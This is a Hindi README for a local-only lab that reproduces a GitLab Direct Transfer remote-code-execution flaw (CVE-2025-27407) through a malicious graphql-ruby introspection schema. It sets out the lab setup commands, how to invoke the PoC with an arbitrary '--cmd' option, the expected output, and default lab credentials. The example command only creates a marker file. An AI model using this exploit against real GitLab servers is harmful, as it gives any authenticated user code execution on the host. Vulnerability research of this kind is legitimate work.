
GitLab Direct Transfer HTTP पथ कमज़ोर graphql-ruby introspection स्कीमा लोडर तक पहुँचता है, इसे साबित करने के लिए यह एक न्यूनतम केवल-स्थानीय लैब है। यह लैब एक कमज़ोर GitLab CE कंटेनर चलाती है; PoC स्क्रिप्ट परीक्षण के दौरान केवल प्रक्रिया-में (in-process) अपना नकली GitLab स्रोत सर्वर शुरू करती है।
इसे केवल उन सिस्टम्स पर चलाएँ जिनके स्वामी आप हैं या जिन पर परीक्षण करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया है।
| फ़ाइल | उद्देश्य |
|---|---|
lab.sh | GitLab लैब को शुरू करता है, प्रतीक्षा करता है, सत्यापित करता है और साफ़ करता है। |
poc_host_port_cmd.py | एकल-शॉट PoC: नकली स्रोत सर्वर + GitLab लॉगिन/कॉन्फ़िगर/इम्पोर्ट ट्रिगर। |
podman के साथ Linux होस्टcurlडिफ़ॉल्ट मान:
पोर्ट 8080 स्क्रिप्ट का डिफ़ॉल्ट है। यदि इसे पहले से कोई और उपयोग कर रहा है, तो यहाँ दिखाए अनुसार 18080 उपयोग करें।
cd gitlab-lab
chmod +x lab.sh poc_host_port_cmd.py
GITLAB_HTTP_PORT=18080 GITLAB_SSH_PORT=2225 ./lab.sh up
GitLab को यहाँ खोलें:
http://127.0.0.1:18080
लॉगिन क्रेडेंशियल:
root / Cve27407Password!
root केवल डिफ़ॉल्ट लैब उपयोगकर्ता है। PoC ट्रिगर के लिए एडमिन खाते की आवश्यकता नहीं है; कोई भी प्रमाणित उपयोगकर्ता जो किसी डेस्टिनेशन नेमस्पेस में बना/इम्पोर्ट कर सकता है, कमज़ोर Direct Transfer पथ को हिट कर सकता है। गैर-एडमिन उपयोगकर्ता के साथ परीक्षण करने के लिए --username और --password उपयोग करें।
MARKER=/tmp/cve_2025_27407_gitlab_marker
podman exec cve-27407-gitlab rm -f "$MARKER"
./poc_host_port_cmd.py \
--host 127.0.0.1 \
--port 18080 \
--listen-port 8001 \
--wait-seconds 120 \
--cmd "touch $MARKER"
MARKER="$MARKER" ./lab.sh verify
अपेक्षित संकेत:
[*] create/import trigger status=200 final_url=http://127.0.0.1:18080/import/bulk_imports
[{"success":true,...}]
[evil-source] POST /api/graphql introspection -> malicious schema; command='touch ...'
[+] GitLab reached /api/graphql introspection over HTTP
[+] vulnerable: marker file exists inside GitLab container
8080 व्यस्त है, तो ./lab.sh up के लिए GITLAB_HTTP_PORT=18080 उपयोग करें।--listen-port को किसी अप्रयुक्त पोर्ट में बदलें।--wait-seconds बढ़ाएँ या MARKER="$MARKER" ./lab.sh verify फिर से चलाएँ।GITLAB_HTTP_PORT=18080 ./lab.sh wait फिर से चलाएँ।./lab.sh cleanup चलाएँ और फिर से शुरू करें।./lab.sh cleanup
यह GitLab कंटेनर, पुराने लैब संस्करणों के किसी भी लीगेसी नकली-स्रोत कंटेनर और लैब नेटवर्क को हटा देता है। यह डाउनलोड की गई Podman इमेजेस को नहीं हटाता है।
| आइटम | डिफ़ॉल्ट |
|---|
| GitLab इमेज | docker.io/gitlab/gitlab-ce:16.11.8-ce.0 |
| GitLab कंटेनर | cve-27407-gitlab |
| Podman नेटवर्क | cve-2025-27407-net |
| GitLab रूट उपयोगकर्ता | root |
| GitLab रूट पासवर्ड | Cve27407Password! |
| मार्कर | /tmp/cve_2025_27407_gitlab_marker |
| विकल्प | उद्देश्य | डिफ़ॉल्ट |
|---|
--host | लक्षित GitLab होस्ट | आवश्यक |
--port | लक्षित GitLab HTTP पोर्ट | आवश्यक |
--cmd | GitLab रनटाइम में निष्पादित कमांड | touch /tmp/cve_2025_27407_gitlab_marker |
--listen-port | स्थानीय नकली स्रोत सर्वर पोर्ट | 8001 |
--wait-seconds | एसिंक्रोनस GitLab वर्कर्स के लिए नकली स्रोत को जीवित रखने का समय | 90 |
--username | GitLab उपयोगकर्ता नाम | root |
--password | GitLab पासवर्ड | Cve27407Password! |
| वेरिएबल | उद्देश्य | डिफ़ॉल्ट |
|---|
GITLAB_HTTP_PORT | होस्ट/कंटेनर GitLab HTTP पोर्ट | 8080 |
GITLAB_SSH_PORT | होस्ट GitLab SSH पोर्ट | 2224 |
GITLAB_ROOT_PASSWORD | प्रारंभिक रूट पासवर्ड | Cve27407Password! |
GITLAB_IMAGE | चलाने के लिए GitLab इमेज | docker.io/gitlab/gitlab-ce:16.11.8-ce.0 |
NETWORK | Podman नेटवर्क नाम | cve-2025-27407-net |
MARKER | GitLab कंटेनर के अंदर जाँची जाने वाली फ़ाइल | /tmp/cve_2025_27407_gitlab_marker |
TIMEOUT_SECONDS | रेडिनेस प्रतीक्षा समय सीमा | 1200 |